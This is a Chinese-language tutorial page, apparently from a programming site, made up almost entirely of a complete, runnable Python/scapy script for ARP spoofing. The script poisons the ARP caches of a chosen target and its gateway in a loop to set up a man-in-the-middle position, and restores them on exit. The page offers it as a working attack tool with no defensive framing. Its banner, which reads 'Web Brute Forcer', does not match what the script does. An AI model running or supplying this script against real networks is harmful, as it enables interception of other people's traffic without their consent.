Python教程

利用python编写的ARP欺骗攻击

本文主要是介绍利用python编写的ARP欺骗攻击,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
from scapy.all import *
import sys
import time
import optparse

def get_args():
    parser = optparse.OptionParser(usage='<Prog -t target -g gateway>')
    parser.add_option('-t', '--target', dest='target', type='string', help="Specify IP of target")
    parser.add_option('-g', '--gateway', dest='gateway', type='string', help="Specify IP of gateway")
    options, args = parser.parse_args()
    if options.target is None:
        print(parser.usage)
        sys.exit()
    if options.gateway is None:
        print(parser.usage)
        sys.exit()

    return options.target, options.gateway

def banner():
    banner = """
                ****************************

                  Web Brute Forcer By Jason

                ****************************
        """
    print(banner)


class ArpSpoof:
    """
    Args:
    target: IP address of target to spoof attack
    gateway: IP addrss of gateway
    """

    def __init__(self, target, gateway):
        self.target = target
        self.gateway = gateway

    def get_mac(self, ip):
        packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op=1,pdst=ip)
        res = srp(packet, verbose=False)
        return res[0].res[0][1].hwsrc
    
    def spoofer(self,ip1, ip2):
        ip1_mac = self.get_mac(ip1)
        ip2_mac = self.get_mac(ip2)
        packet1 = ARP(op=2,pdst=ip1,hwdst=ip1_mac, psrc=ip2)
        packet2 = ARP(op=2,pdst=ip2,hwdst=ip2_mac, psrc=ip1)
        send(packet1, verbose=False)
        send(packet2, verbose=False)

    def restore(self,ip1, ip2):
        ip1_mac = self.get_mac(ip1)
        ip2_mac = self.get_mac(ip2)
        packet1 = ARP(op=2,pdst=ip1,hwdst=ip1_mac, psrc=ip2, hwsrc=ip2_mac)
        packet2 = ARP(op=2,pdst=ip2,hwdst=ip2_mac, psrc=ip1, hwsrc=ip1_mac)
        send(packet1, verbose=False)
        send(packet2, verbose=False)
        
    
    def run(self):
        send_count = 0
        try:
            while True:
                self.spoofer(self.target, self.gateway)                
                send_count = send_count + 2
                print('\r Packet sent: %d' % send_count, end="")
                time.sleep(2)

        except KeyboardInterrupt:
            print("Exit the program and restore the network...")
            self.restore(self.target, self.gateway)
            self.restore(self.gateway, self.target)
            
            

if __name__ == '__main__':
    banner()
    target, gateway = get_args()
    arp_spoof = ArpSpoof(target, gateway)
    arp_spoof.run()

 

这篇关于利用python编写的ARP欺骗攻击的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!